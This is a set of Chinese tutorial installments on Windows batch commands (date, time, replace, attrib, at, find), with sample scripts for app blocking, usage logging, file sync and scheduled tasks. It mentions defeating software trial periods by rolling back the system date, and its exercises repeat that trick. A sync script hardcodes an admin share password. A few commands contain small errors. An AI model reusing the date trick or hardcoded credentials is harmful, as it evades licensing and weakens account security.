以上为Windows 2000/XP/2003的命令输出信息,而在Windows 98中为“Current date is XXX MM-DD-YYYY”,XXX代表英语的星期几(如Wed,星期三),MM-DD-YYYY代表“月-日-年”(如“03-30-2005”)。

当我仅仅想修改系统日期,而不想看当前的日期时,能不能省一些操作?当然可以,本文开头的那个突破软件使用期限的脚本中已经使用了此方法。
目标1:直接修改系统日期到2005年8月2日
适用于Windows 98:date 2005-08-02
适用于Windows 2000/XP/2003:date 08-02-2005
命令格式:date YYYY-MM-DD(Windows 2000/XP/2003)/date MM-DD-YYYY(Windows 98)
命令讲解:date命令后直接跟上一条日期参数,就能不显示任何多余的信息而直接修改系统日期。其中月份和日期可以用单位数,如“08-02”也可写为“8-2”。
而又有的时候,我们的需要又恰恰相反,不要改动系统时间,我们需要的仅仅是显示。
目标2:显示当前系统日期,不提示输入新日期
date/t(Windows 98不支持此参数)
命令格式:date/t
命令讲解:执行带/t参数的date命令后,就不再提示需要输入新日期了,而是直接显示出了当前的系统日期(见图2)。

现在该轮到time命令唱主角了,你能在time命令中找到与date命令的相似之处。如果仅仅执行“time”,情况会是如何呢?你猜得没错,和date命令一样,先显示了一下当前的系统时间(见图3),随后要求输入新的系统时间。
目标1:直接修改系统时间到02:15:30
time 02:15:30
命令格式:time HH:MM:SS
命令讲解:和date命令基本一致,在命令中直接使用时间参数后,就不再显示当前系统时间,而直接设置系统时间。

小提示
对于系统时间有较高要求的用户可以双击桌面下方任务栏中的系统托盘的时间,打开“日期与时间 属性”窗口,在“Internet时间”选项卡中点击“立即更新”按钮,这样系统时间就能和网络中的时间服务器同步了(见图4)。如果是Windows XP,则可执行命令“w32tm /resync /rediscover”(不含引号)来完成同步,我们也可以把这条命令做成批处理置于桌面上。

目标2:显示当前系统时间,不提示输入新时间
time/t(Windows 98不支持此参数)
命令格式:time/t
命令讲解:执行带/t参数的time命令后,就不再提示需要输入新时间了,而是直接显示出了当前的系统时间。

本期大餐:禁止用户在指定日期运行QQ
适宜人群:有一定脚本基础的老鸟
第一步:将以下脚本保存为runqq.bat,放在QQ安装目录下(其中的“2005-03-15 星期二”可修改为禁止运行QQ的日期)。
注意:此脚本文件仅支持Windows 2000及以上操作系统。
@echo off
if "%DATE%" NEQ "2005-03-15 星期二" qq.exe else goto err
exit
:err
echo 今天不准用QQ聊天
pause
第二步:右击桌面上的QQ快捷方式,在“快捷方式”选项卡中将“目标”修改为runqq.bat的路径(见图5)。
脚本讲解:%DATE%是命令行方式中自带的一个变量,可以通过该变量来直接获取等同于执行“date/t”命令的返回值,但由于返回值是类似“2005-03-15 星期二”这样中间带有空格的值,所以为了保证语句能够正确运行,我们必须在其两侧加上英文双引号。而NEQ则是一个比较运算符,代表“不等于”,即其左侧的变量(“%DATE%”)不等于右侧的值(“2005-03-15 星期二”)时,执行后面的操作(即执行“qq.exe”)。而if语句中如果带有else,则当判断条件不成立(这里要判断成立的条件是“"%DATE%"不等于"2005-03-15 星期二"”,如果两个值相等,条件就不成立)时,自动执行else后接着的语句(即“goto err”)。其后的goto,相信大家已经猜到了,这不就是“走到”的意思吗?没错,goto就是让程序“走到”(跳转到)指定的标签位置,这里要跳转到err位置然后继续执行,即显示“今天不准用QQ聊天”。
由于程序是由上至下顺序执行的(以goto语句跳转除外),所以如果不在if语句后加一条exit(结束命令),则批处理在判断当前日期非指定的禁止运行QQ的日期后,运行QQ,但其后仍会顺序执行到显示“今天不准用QQ聊天”的语句。而在else后用跳转语句直接执行err标签后的语句,则没有经过exit,自然不受其影响。

小提示
★goto语句跳转到的标号位置可以用“:标签名”来定义。
★pause语句是为了能够让用户看清echo提示的内容,否则执行批处理显示完内容后直接程序关闭,一闪而过的命令行窗口根本不可能看到诸如“今天不准用QQ聊天”等的提示,而在使用pause语句后可以在用户键入任意键前保持命令行窗口暂停以便查看提示信息。

名师烹饪:记录QQ的使用情况
适宜人群:熟练掌握批处理的高级用户
到底谁在用我的QQ?如果有一个批处理可以记录下运行QQ时的当前系统登录用户,及运行的日期和时间……
同样将以下脚本保存为runqq.bat,放置在QQ安装目录下,并按照上文中的方法将其桌面上的快捷方式指向此文件。
@echo off
echo -------------------- >> "log.txt"
echo QQ运行日期=%DATE% >> "log.txt"
echo QQ运行时间=%TIME% >> "log.txt"
start /w regedit /e reg.txt HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer
type reg.txt | find "Logon User Name" >> "log.txt"
del reg.txt > nul
qq.exe

此脚本如在Windows 98下使用,应去掉“%DATE%”和“%TIME%”这两行,改为下面的方式(仅支持记录用户名,不记录日期和时间)。
@echo off
echo -------------------- >> "log.txt"
start /w regedit /e .reg HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control
type reg.txt | find "Current User" >> "log.txt"
del reg.txt >> nul
以后每次有人双击快捷方式运行QQ时,都会自动记录下该用户的系统登录名、运行日期和时间,当我们要查看QQ的使用情况时,只需用“记事本”打开QQ安装目录下的log.txt即可,记录的格式如图6所示(插入图6)。其中[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Logon User Name]键值记录了当前系统中登录的用户名。

掌柜的有话说
1.DOS在哪儿
Windows 98:点击“开始→运行”,输入“command”(不含引号)回车。
Windows 2000/XP/2003:点击“开始→运行”,输入“cmd”(不含引号)回车。
2.调试脚本有学问
在脚本调试阶段,应将脚本中的“@echo off”改为“@echo on”以便打开回显,这样如果脚本在运行中出现了问题,我们就能直观地从反馈信息中找出问题所在。
3.%和%%的区别
%和%%都是变量前缀,在命令行方式下使用变量则输入“%”,而在批处理脚本中引用到变量时,则应采用“%%”。
*特别感谢热心读者“大鱼一条”对本栏目的帮助与支持!

小提示
★在脚本中使用“>>”追加重定向操作符而不是使用“>”重定向操作符,区别在于“>>”是在文件尾部添加信息,而“>”则是清空文件内容再写入信息,对于需要记录每次QQ使用情况的脚本文件当然不能清空前一次的记录。

Just do it
将脚本稍加修改,使其记录其他程序的使用情况。

DIY你的DOS菜
上期答案:
1.删除d:\test目录下所有的隐藏文件,要求删除每个文件时都提示确认。
del /p d:\*.* /ah
2.删除d:\test目录,包括其下所有的子目录及文件。
rd d:\test /s
3.在第2题的基础上,采用“安静模式”。
rd d:\test /s/q
本期习题:
1.将当前日期和时间分两行存为c:\now.txt。
2.制作一个脚本,修改系统时间为16:30:00,运行c:\abc.exe,接着用网络时间同步命令将时间改回来。
3.将本期“名师烹饪”中的脚本稍加修改,使其能够记录MSN Messenger使用情况。==================6文件移形换位大法

√ren和replace命令的使用
√利用脚本实现目录同步
掌柜的最近竟然迷恋起了网络游戏(以下简称网游),每天一下班总忍不住在游戏里“拼杀”一番。可是经常碰到的一个头痛问题是,网游由于版本更新的需要,每过几天甚至几小时都需要对游戏文件在线更新一次,往往兴冲冲地启动游戏却出现在线更新的界面,然后等到花儿也谢了却仍在更新。正在万般头痛之时,喜欢“严打”员工上班偷懒的掌柜发现小伙计也玩这个游戏,并且是上班的时候玩!
“你是不是经常更新游戏?”掌柜的问。
小伙子显然有些措手不及,差点把心爱的笔记本都摔了:“……嗯,我……”
“不用说了,以后替我更新游戏的重任就交给你了,我不希望再看到更新界面,不然,哼哼,旧账新账一起算……”掌柜的阴笑着说。
还好小伙计是批处理高手,我们来看看他是怎么做的。
1.在掌柜的机器上
第一步:点击“开始→设置→控制面板→用户账户”,并在其中新建一个管理员账户updater(用户名可随意更改,但不得与现有用户名冲突,并应与下文中的脚本对应),将该账户的密码设置为“12345678”(不含引号,实际使用中请更改为强度更高的密码)。
第二步:打开“我的电脑”,找到游戏的安装目录,右击该目录选择“共享和安全”(插入图a)。然后在弹出窗口默认打开的“共享”选项卡中选择“共享此文件夹”,将“共享名”设为“game”(不含引号)(见图1)。
第三步:点击“权限”按钮,在弹出窗口中点击“添加”,点击“选择用户或组”窗口的“高级”按钮,然后点击“立即查找”,在下方的列表中选中刚才新建的updater,点击“确定”(见图2)。此时在“选择用户或组”窗口的列表中已经显示出了我们添加的账户了,再次点击“确定”。
第四步:重新回到“game的权限”窗口,选中updater,在下方的“updater的权限”列表中勾选择“完全控制”(见图3),依次点击“确定”关闭窗口。
2.在小伙计的机器上
打开“记事本”,输入以下脚本并保存为gameup.bat(掌柜的IP为192.168.0.2,小伙子的游戏安装目录为d:\game):
@echo off
net use z: \\192.168.0.2\game "12345678" /user:"updater"
cd d:\game
for %%i in (*.*) do if not exist "z:\%%i" copy %%i "z:\" /y
replace *.* "z:\" /u/r
net use z: /del
每当自己更新完游戏,小伙子总是习惯性地执行一下这个脚本,掌柜的感到非常满意。

重要说明:
(1)以上脚本中添加管理员权限账户仅为了避免因权限问题带来的连接问题,也可使用其他用户组(关于net use命令及连接故障的解决,请参见本期的《连根拔起——共享的二次登录》)。
(2)此脚本仅更新游戏主目录的文件,可根据游戏中的目录结构自行添加需要更新的子目录,如需要追加更新game\images,则在“net use z: /del”语句前添加如下语句:
cd d:\game\images
for %%i in (*.*) do if not exist "z:\images\%%i" copy %%i "z:\images" /y
replace *.* "z:\images" /u

本期配料:ren/replace        适宜人群:没有DOS基础的初学者
1.ren
在Windows中重命名文件时,我们一般采用右击该文件选择“重命名”或两次单击文件名的方式。而在DOS中,则需要使用ren命令。文件名相当于人的称谓,比如在DOS快餐店中喊“掌柜的”,大家都知道是指我。而ren命令的目的,就是要让大家改口,比如改为“老板”,让大家知道“老板”这个称谓是指我,而“掌柜的”不再指我。同样的,文件名和称谓一样,只在一定范围内有效,比如在DOS快餐店里的“掌柜的”是我,而VBScript快餐店、JavaScript快餐店的“掌柜的”则是其他人。在别的地方找我就得将我的具体位置也描述出来,如“DOS快餐店的‘掌柜的’”,就好像我们在一个目录下打开其他目录中的文件时就必须给出此文件的完整路径。
目标:将D:\a.txt命名为D:\b.txt
ren d:\a.txt b.txt
命令格式:ren 要重命名的文件路径 新文件名
命令讲解:如果要重命名的文件不在当前目录,则命令参数中的“要重命名的文件路径”就必须是完整路径,如上文中的“d:\a.txt”,在当前目录下则可省略路径而只需给出文件名,如上文中可省略为“a.txt”。另外,新的文件名只要符合文件命名规范,就能自由更改,文件扩展名也能重命名,如“ren d:\a.txt b.bak”。

2.replace(在Windows 98中没有此命令)
当我们在“资源管理器”中进行文件复制、粘贴操作时,如果目标目录中存在与要复制的文件同名的文件,就会出现是否将“文件替换为”的提示框。这和我们以前介绍过的copy命令有些共同点,但replace的职能就是“替换”,它还具有子目录替换、版本控制等功能,下面就让我们来体验一下。
目标1:用D:\a.txt替换D:\backup下的同名文件
replace d:\a.txt d:\backup
命令格式:replace 源文件路径 目标文件所在目录
命令讲解:如果源文件在当前目录中,我们也可以省略掉完整路径而只使用文件名,而第二个参数是同名文件所在目录名,不包含文件名。
当目标目录中并没有源文件时,默认情况下replace命令就不会进行替换,如果需要目标目录也包含这个文件,则必须使用copy命令或replace命令的参数。

目标2:用replace命令将D:\a.txt添加到D:\backup
注意:此处假设D:\backup目录中不包含a.txt,参数/a不能与/s、/u搭配使用。
replace d:\a.txt d:\backup /a
命令格式:replace 源文件路径 目标文件所在目录 /a
命令讲解:每个命令都有很多参数,我们在记忆时要掌握窍门,比如此处的/a即为“add”(添加)的缩写。此命令参数只有在目标目录不包含源文件同名文件的情况下使用,否则会提示“未添加文件”。
在学习了replace命令的基本使用以后,可能你会迫不及待地尝试一下,但你可能仍会遇到文件存在却无法替换(显示“拒绝访问”)的问题,这是什么原因呢?

目标3:用D:\a.txt替换D:\backup下的同名只读文件
replace d:\a.txt d:\backup /r
命令格式:replace 源文件路径 目标文件所在目录 /r
命令讲解:和上一个参数一样,此处的/r可记忆为“read only”(只读)。顾名思义,使用/r参数就是为了告诉replace命令:即使目标文件是只读的,照删不误!
小提示
如果不使用/r参数,我们也可以用attrib命令去除目标文件的只读属性,方法为“attrib -r d:\backup\a.txt”,此命令将在本栏目今后的文章中详细讲解,敬请关注。

是否还记得上期曾提到过的pause命令?它可以使脚本暂停,直至按下任意键才继续。而在replace命令中,我们可以使用一个参数来简化这个操作,仅用一条命令就能实现两条命令的功能。

目标4:等待用户按下任意键后,用D:\a.txt替换D:\backup下的同名文件
replace d:\a.txt d:\backup /w
命令格式:replace 源文件路径 目标文件所在目录 /w
命令讲解:用replace/?命令查看replace参数时,我们发现/w参数的解释为“等您插入磁盘以后再运行”。可是经过测试后发现,如果在未将磁盘插入A软驱)时,使用“replace d:\a.txt a:\”仍会提示错误。与其说是等待插入磁盘,倒不如说这是一个等待参数,我们可以将/w理解为“wait”(等待)。在使用了该参数后,replace命令在对文件进行替换操作前将首先暂停操作并提示“按任意键继续”。注意,就如我们刚才所说的那样,如果源文件路径和目标文件目录不正确的话,命令会直接报错,也就是说在暂停之前命令就对路径参数进行了检查。
如果目标目录中有多个子目录,并且每个子目录都有需要替换的文件,我们应该怎么办呢?大家可能会想到使用cd命令频繁切换目录,然后配合replace命令进行操作,但我们有更好的办法。

目标5:用D:\a.txt替换D:\backup及其子目录下所有的同名文件
replace d:\a.txt d:\backup /s
命令格式:replace 源文件路径 目标文件所在目录 /s
命令讲解:默认情况下,如果D:\backup的子目录中含有与源文件同名的文件(如:d:\backup\1\a.txt、d:\backup\2\a.txt),replace命令将不对它们进行替换,参数/s可以理解为“subfolder”(子目录)。使用了/s参数后,replace命令就在目标目录中进行搜索,对该目录下所有的子目录进行遍历,查找所有要替换的文件。
在进行遍历替换等多文件操作时,我们最担心的就是误操作所带来的数据丢失,如何能让替换操作开始前提示确认一下呢?

目标6:在目标5的基础上,要求确认操作
replace d:\a.txt d:\backup /s /p
命令格式:replace 源文件路径 目标文件所在目录 /p
命令讲解:如同以前介绍过的copy命令一样,replace的操作确认参数也是/p,建议在使用/s参数的时候搭配使用。
我们进行文件替换的目的很多情况是为了将修改过的新版本文件替换旧版本文件。但如果文件较多(如本文开始处介绍的游戏文件更新)时,就很难把改动过的文件和未改动的文件区分开来,无奈之下只好使用全部替换。在文件数据量大的时候,这种操作无疑是对系统资源和时间的浪费,这种缺点在网络传输时尤为明显(本文开头的游戏更新就是采用net use命令将网络主机上的共享目录映射为本地盘符z:,然后再进行数据传输,也属于网络传输)。

目标7:用D:\a.txt替换D:\backup目录下的同名文件,如果目标文件版本较新则不替换
replace d:\a.txt d:\backup /u
命令格式:replace 源文件路径 目标文件所在目录 /u
命令讲解:参数/u可以理解为“update”(更新/升级),既然是更新当然不能用旧文件替换新文件咯。所以/u参数就是告诉replace命令,在进行替换操作之前,先对源文件和目录文件的修改时间进行比较,如果源文件比目标文件版本新(理想的状况)则进行替换,否则不进行替换。使用这个参数也可以在一定程度上防止我们误将文件覆盖为老版本,现在可能会有朋友提出疑问:为什么文章开始处的游戏文件更新脚本中没有全部使用replace/u,而用copy命令进行了辅助?这是由于游戏更新过程中,不但有文件的版本更新,更有可能会有一些新的文件产生(即源文件目录中有,但目标文件目录中没有的文件),简单地使用/u参数则有可能会遗漏掉新生成的那部分文件。

本期大餐:改造游戏更新脚本,使其满足文件同步需要
适宜人群:有一定DOS基础的老鸟
目标1:支持自定义源、目标目录、文件类型的文件同步脚本
@echo off
cd %1
for %%i in (*.%3) do if not exist "%2%%i" copy %%i "%2" /y
replace *.%3 "%2" /u
使用方法:在“记事本”中输入以上脚本保存为filesyn.bat,用cd命令将当前目录转到该脚本的保存目录中,使用格式为“filesyn.bat 源目录 目标目录 需要同步的文件类型”(不含引号)。如果源或目标目录不是当前目录,请在参数中使用完整路径。
脚本讲解:以前我们曾经给大家讲过,%1、%2等变量表示批处理在运行时由用户指定的参数,如执行“filesyn.bat d:\ e:\ txt”,则其中的第一个参数“d:\”即赋值给了%1,而“e:\”赋值给了%2,第3个参数“txt”赋值给了%3。首先“cd %1”是指将当前目录转到第1个参数(即源目录参数)指向的目录。第二句使用了for循环语句对当前目录进行了遍历,将其中文件扩展名符合参数%3的文件都找出来,然后用exist语句检查目录目录(%2)中是否也有这个文件,如果(if)没有(not exist)此文件,就用copy命令将它从源目录中复制到目标目录中。当遍历结束,批处理开始执行下一条语句,用replace语句配合参数/u来对目标目录的文件进行更新,如果目标目录中包含了比源文件版本更新或者相同的文件(包括上一条循环语句中复制到目标目录中的文件),则不更新。

DIY你的DOS菜
上期答案:
1.将当前日期和时间分两行存为c:\now.txt。
date/t >>c:\now.txt
time/t >>c:\now.txt
2.制作一个脚本,修改系统时间为16:30:00,运行c:\abc.exe,接着用网络时间同步命令将时间改回来。
注意:仅适用于Windows XP。
time 16:30:00
c:\abc.exe
w32tm /resync /rediscover
3.将第8期“名师烹饪”中的脚本稍加修改,使其能够记录MSN Messenger使用情况。
按照原文件中的方法进行操作,将脚本位置改为MSN Messenger所在目录,将脚本中的echo语句后的内容做相应的修改,将最后的“qq.exe”改为“msnmsgr.exe”(详细代码请参考上期原文)。
本期习题:
1.将D:\movies\new.rm重命为old.rmvb。
2.用D:\abc\1.exe替换D:\def目录及其子目录下的所有同名文件,要求操作确认。
3.在第2题的基础上,只替换旧文件。
======================7黑底白字的计划书

√attrib和at命令的使用
√利用脚本隐藏指定类型文件
经过各大IT媒体对“企业管理信息化”概念的疯狂炒作,掌柜的也着实被“熏陶”了一把,一时兴起购入一台小型服务器放在店堂中,所有的菜谱、账目记录及反馈意见等都放在服务器上。账目无纸化操作固然好,可是对病毒感染技术颇有经验(其实就是经常中病毒)的掌柜深知数据备份的重要性,于是每天00:00打烊后,备份服务器又成了掌柜的“必修课”。
几天后……掌柜的终于无法忍受每天的备份了,于是他又把这活交给了小伙计,并嘱咐必须在每天的00:00进行备份。小伙子哪里肯在下班后再多留哪怕一分钟,于是,他登录服务器后键入了一条命令:
at 00:00 cmd /c copy C:\Documents\*.* C:\MyDocs
说明:其中“C:\Documents\*.*”为要备份的源目录,而“C:\MyDocs”则为备份的目标目录,可根据实际备份需要进行修改。由于“copy”命令为内部命令,即由cmd解释执行而非单独的应用程序,所以在指定copy任务时要先使用“cmd /c”打开命令提示符,参数/c表示执行完命令后终断(关闭)。

本期配料:attrib/at        适宜人群:没有DOS基础的初学者
1.attrib
文件属性在Windows时代渐渐被人们遗忘。“存档”、“系统”、“隐藏”、“只读”,你是否知道它们的含义?在“我的电脑”中任意右击一个文件,选择“属性”后可以看到“只读”和“隐藏”(见图1)。
存档:有些程序根据这个属性决定是否备份该文件,此属性在Windows XP中已经不提供图形界面下的修改了。
系统:操作系统相关的文件,对操作系统不熟悉的用户应尽量避免修改具有系统文件属性的文件。
只读:文件只允许读取,不允许写入。
隐藏:这个文件属性大家都很熟悉,具有此属性的文件只能通过勾选“文件夹选项”中的“显示所有文件和文件夹”或使用“dir /ah”命令来查看。
目标1:查看D:\a.txt的文件属性
attrib d:\a.txt
命令格式:attrib 文件名/目录名
命令讲解:在attrib后只加文件名/目录名参数就代表查看该文件/目录的属性(见图2)。如果指定文件/目录在当前目录下,则直接在命令中使用文件名/目录名,如果在其他目录下,必须给出完整路径。
目标2:将D:\a.txt设置为“只读”属性
attrib +r d:\a.txt
命令格式:attrib +属性 文件名/目录名
命令讲解:上面的命令格式中用到的“属性”就是刚才所说的4种文件属性,“r”为“只读”、“a”为“存档”、“s”为“系统”、“h”为“隐藏”。
“+”起到了给文件/目录设置属性的作用,那么如果要清除文件/目录的属性,我们该用什么呢?
目标3:清除D:\a.txt的“隐藏”属性
attrib -h d:\a.txt
命令格式:attrib -属性 文件名/目录名
命令讲解:可能你已经猜到了,清除文件属性的符号是“-”,命令中用到的“属性”与目标1中添加属性时给出的相同。学会了设置和清除文件属性,你可能会问:设置和清除可以同时进行吗?当然可以,比如在给d:\a.txt设置“隐藏”属性的同时清除“只读”属性,就可以用如下命令:
attrib +h -r d:\a.txt
和很多其他命令一样,attrib也支持批量文件处理,但如果要对一个文件夹下的所有文件进行属性操作,就必须使用附加参数。
目标4:将D:\movie及其子目录下的所有RMVB文件设置为“隐藏”属性
attrib +h d:\movie\*.rmvb /s
命令格式:attrib ±属性 批量文件名 /s
命令讲解:当在文件名参数中使用“*”、“?”等通配符时,即可对指定目录中的相应文件进行批量的属性操作。如果进行操作的目录下仍有子目录,并且子目录中包含了符合命令中文件名参数的文件时,默认是不进行处理的。指定了/s参数后,attrib命令就会在处理指定目录文件的同时对该目录下所有子目录内符合文件名参数的文件进行属性操作。
在批量操作的同时是否可以同时对子目录进行属性操作呢?
目标5:将D:\movie及其下的所有子目录、文件设置为“隐藏”属性
attrib +h d:\movie /s /d
命令格式:attrib ±属性 批量文件名 /s /d
命令讲解:参数/d必须在批量设置文件属性的同时,对指定目录及其下所有子目录进行文件属性操作。参数/d可以理解为“directory”(目录)。那么,“attrib +h d:\movie /s /d”和“attrib +h d:\movie\*.* /s /d”有什么区别呢?两者都将d:\movie下的所有文件及子目录设置了“隐藏”属性,但前者由于指定的参数是目录,所以d:\movie也设为了“隐藏”;而后者则没有设置d:\movie的“隐藏”属性。

2.at
很多朋友都使用过“计划任务”功能,在命令行方式下,应该如何编写黑底白字的“计划书”呢?请出今天要介绍的第二个命令:at。
目标1:在今天的16:30运行calc.exe(Windows自带的“计算器”)
at 16:00 calc.exe
命令格式:at 时间 要在指定时间运行的程序名/批处理文件名
命令讲解:at命令最简单的应用便是其后直接给出计划的时间及该时间要运行的程序名,其中要运行的程序如果不在系统目录或者系统环境变量所指向的目录中,则要给出完整路径。在添加了新任务后,可以通过运行“at”命令查看已经添加的任务(见图3)。
你可能会注意到用“at”命令所列出的计划任务列表中有一个ID列,其中以数字顺序为已经添加至列表中的任务分别标注了一个惟一的任务ID,这个ID有什么用呢?
目标2:删除ID为2的计划任务
at 2 /delete
命令格式:at 要删除任务的ID /delete
命令讲解:要删除某个任务时,可以先使用“at”来查看当前已经添加的任务列表,然后根据任务列表中该任务的ID配合/delete参数加以删除即可。经测试,在Windows XP中/delete参数可简写为/del。如果你希望将所有的计划任务一次删除干净,可以使用如下命令:
at /delete
不加任务ID而单独使用/delete,at命令就会删除计划任务列表中的所有任务。有很多时候我们并不希望在进行任务删除操作时需要确认,可是at命令默认在进行任务删除操作时都会提示键入Y/N后方可继续(见图4),尤其是编写批处理时这样会很不方便。和以前介绍的很多命令一样,at命令也有自己的无确认参数。
目标3:删除ID为2的计划任务,无需确认
at 2 /delete /yes
命令格式:at [要删除任务的ID] /delete /yes
命令讲解:在使用/delete参数的同时配合/yes参数,at命令在进行计划任务删除操作时就不再需要确认。“命令格式”中将“要删除任务的ID”两侧加上“[]”,是指此时ID参数可有可无,如“at /delete /yes”就是无确认删除所有计划任务。
如果刚才在“目标1”时做了试验,你可能会惊奇地发现在指定时间并没有运行“计算器”。是真的没有运行吗?打开“任务管理器”,“calc.exe”却赫然显现在眼前。这就是at命令与控制面板中的“任务计划”的区别,图形界面的“任务计划”所计划的任务都是前台方式运行的,而at命令所计划的任务默认状态都是后台方式(看不见运行界面)运行的。如何让at命令计划的任务在前台运行(显示出运行界面)呢?
目标4:在今天的16:30以前台方式运行calc.exe
at 16:30 /interactive calc.exe
命令格式:at 时间 /interactive 要在指定时间运行的程序名/批处理文件名
命令讲解:参数/interactive代表的是“交互”的意思,该参数就是允许作业(计划好的任务)在运行时,与当时登录的用户桌面进行交互,简而言之就是能看见运行界面。
在图形界面中还能够在每月、每星期的指定日期运行任务,用at命令该怎么做呢?
目标5:在每月16日的16:30运行c:\run.bat
at 16:30 /every:16 c:\run.bat
命令格式:at 时间 /every:日期 要在指定时间运行的程序名/批处理文件名
命令讲解:参数/every:后指定的“日期”可以是“16”(每月16日)等数字形式的,也可以是“星期四”(每周四)等文字形式的。如果是指定星期几,在Windows XP中可以将“星期四”省略为“四”。如果本月(星期)不想执行,而希望在下次指定日期到来时(如下个月16日)运行任务,则可将“every”改为“next”,命令如下:
at 16:30 /next:16 c:\run.bat
如果“every:”或“next:”后没有指定日期,如“at 16:30 /every: c:\run.bat”,at命令就会默认将本日作为计划任务执行的日期,如在21日执行了该命令,则计划在每月21日执行指定程序。at命令还有一个“\\computername”远程计算机参数,可以在远程计算机上进行计划任务操作,但需要先以对方机器的管理员账号登录才行,在此处不做介绍。

at命令与“任务计划”的详细区别
在命令行方式下使用的at命令主要用于计算机管理用途的计划任务操作,而“控制面板”中的“任务计划”则主要用于普通用户使用。主要的区别有以下几点,在使用时务必注意:
1.at命令指定的任务默认在后台运行,而“任务计划”则在前台。
2.用“at”只能列出由at命令添加的计划任务,而在“任务计划”中则都可以查看自身及at所添加的计划任务,在图形界面的“任务计划”中对at命令添加的计划任务进行编辑后,在命令行方式下就不不能以at命令进行查看和操作了。
3.在系统服务中的“task scheduler”服务是at命令和“任务计划”使用的基础,如将该服务停用并设置为手动,则“任务计划”在运行时会自动将该服务启动,而at命令则会运行失败。如将该服务禁用,则两者都无法正常使用。

本期大餐:以at命令完成各种任务
★在指定时间将某个目录下指定类型的文件设置为隐藏文件
@echo off
at %1 cmd /c attrib +h %2\*.%3 /s
将上面的代码保存为timeab.bat,该脚本的使用方法为“timeab.bat 时间 要处理的目录 文件扩展名”,如要在13:00将D:\games目录下的所有EXE文件设为隐藏,可以使用“timeab.bat 13:00 d:\games exe”。
★在指定时间关机
at 时间 shutdown.exe -s -t 0 -f
其中“-s”参数是确定为关机操作,而“-t 0”则代表0秒后关机,“-f”表示强制关机,可以解决部分因程序尚未关闭而导致无法关闭的情况。

DIY你的DOS菜
上期答案:
1.将D:\movies\new.rm重命为old.rmvb。
ren d:\movies\new.rm old.rmvb
2.用D:\abc\1.exe替换D:\def目录及其子目录下的所有同名文件,要求操作确认。
replace d:\abc\1.exe d:\def /p /s
3.在第2题的基础上,只替换旧文件。
replace d:\abc\1.exe d:\def /p /s /u
本期习题:
1.为D:\music\1.mp3添加“只读”属性,同时清除“隐藏”属性。
2.将D:\music目录下所有文件及子目录设置为“隐藏”,但不包括D:\music目录本身。
3.在每月20日的12:00以前台方式运行d:\test.exe。
========================8

DOS快餐店(八)
名侦探破案实录
√find和tree命令的使用
√用find命令找出木马捆绑
“真相只有一个!”掌柜的刚出差回来,还没进门就听见店堂里传来小伙计的声音。掌柜的头上顿时凸显出几根青筋,嘴里嘟嚷着:“不用问,这小子又在看《名侦探X南》……”,进门后就对着正在看电视的小伙计怒斥道:“真相是你要被开除了!”
接着的几分钟里,掌柜的看着小伙计痛哭流涕状似乎大有痛改前非之势,就接着说:“既然你这么喜欢侦探,那我就给你讲讲DOS小镇里的名侦探‘find’的故事吧。”
//下方用灰度底纹
find人物资料(右侧用一张上身图片,脸上画问号)
身份:DOS小镇著名侦探                就职经历:Windows 9x/2000/XP/2003
地址:%systemroot%\system32
格言:给我一点线索,我就能找出你想要的(笔者按:这不是狗吗-_-)……
探案工具:卫星定位系统(tree命令)

案件侦破纪实:谁携带了病毒
今天DOS小镇机场安检处显得特别严肃,因为他们收到可靠线报:在即将通过安检的几名乘客中有一人携带了恐怖的木马病毒!安检处长如临大敌,急召find侦探协助破案。仅有的一些线索(捆绑了木马的EXE文件体中能找到好几处“This program”标记)能帮助find找出犯人吗?
find /c /i "This program" D:\download\可疑程序.exe
用这条命令检查了第一名乘客后,DOS窗口显示“------ D:\download\可疑程序.exe 3”(见图1),这就说明在这个EXE文件中发现了3处“This program”标记。第一处是捆绑头部,第二处是原EXE文件,第三处……则很有可能是木马文件了,犯人成功找到。
(插入图1)
案件总结:用“find /c /i "This program" 要检测的程序(如不在当前目录则需给出完整路径)”可以检测出大部分被捆绑了木马的EXE文件,但这种方法并不能保证100%准确,任何包含1个以上“This program”字符串的文件(甚至可能是文本文件)都有可能被误报。更保险的方式是使用如“木马捆绑克星”(下载地址:http://www.uuland.com/software/mview21.rar)等工具,它采用了最精确的文件头偏移量判断。

名侦探访谈:如何根据已有线索找出文件
1.基本探案:确定当前目录下的list.txt文件中是否包含字符串“software”
find "software" list.txt
命令格式:find "要搜索的字符串" 要搜索的文件(不在当前目录则需要给出完整路径,下同)
命令讲解:这是find侦探最基本的探案手段,也就是不加任务附加参数时的命令格式。运行这行命令后会返回要搜索的文件中包含指定要搜索的字符串的行,如刚才检测木马捆绑时的命令如果不加/c参数,就会返回如图2所示的信息。用这种方式有一个缺点,那就是当文件中包含指定字符串数较多时很难统计到底搜到了多少行,侦探是如何确定疑犯人数的呢?
(插入图2)
2.确定疑犯人数:确定当前目录下的list.txt文件中包含了几个“software”字符串
find /c "software" list.txt
命令格式:find /c "要搜索的字符串" 要搜索的文件
命令讲解:加了参数/c之后,find命令在反馈信息时就不再显示包含指定字符串的行,而是直接在要搜索的文件名的右侧显示指定字符串在该文件中出现的次数(可参考上文中的图1)。参数/c也是英语单词“Count”(计数)的缩写。现在我们已经可以很方便地得到指定字符串在文件中出现的次数,但具体出现在文件的什么位置呢?
3.找出疑犯所在:找出当前目录下的list.txt中“software”字符串出现的行号
find /n "software" list.txt
命令格式:find /n "要搜索的字符串" 要搜索的文件
命令讲解:参数/n代表英语单词“Number”(号码),使用此参数后,程序反馈的信息与“基本探案”中的信息基本相同,但在显示搜索到的行之前显示了该行的行号(见图3)。如果文件中包含的是“Software”而指定的搜索字符串是“software”,那find可能就无法找到该行,为了解决这个问题必须使用另一个附加参数。
4.不能放过一个坏人:显示当前目录下的list.txt文件中包含“software”字符串的行(忽略大小写)
find /i "software" list.txt
命令格式:find /i "要搜索的字符串" 要搜索的文件
命令讲解:相信你已经猜到了,参数/i代表的是“Ignore”(忽略),也就是忽略大小写。无论文件中包含“SoFtWaRe”或是“sOfTwArE”,加了此参数后都能搜索出来。找出所有包含指定字符串的行非常方便,但如果是不包含该字符串的行,应该怎样查找呢?
5.更不能冤枉一个好人:显示当前目录下的list.txt文件中不包含“software”字符串的行
find /v "software" list.txt
命令格式:find /v "指定字符串" 要搜索的文件
命令讲解:这个参数不太常用,用于找出文件中不包含指定字符串的行。其实这些参数是可以叠加使用的,几个参数同时使用能使搜索范围更小,功能更强。
6.进阶的搜索实例
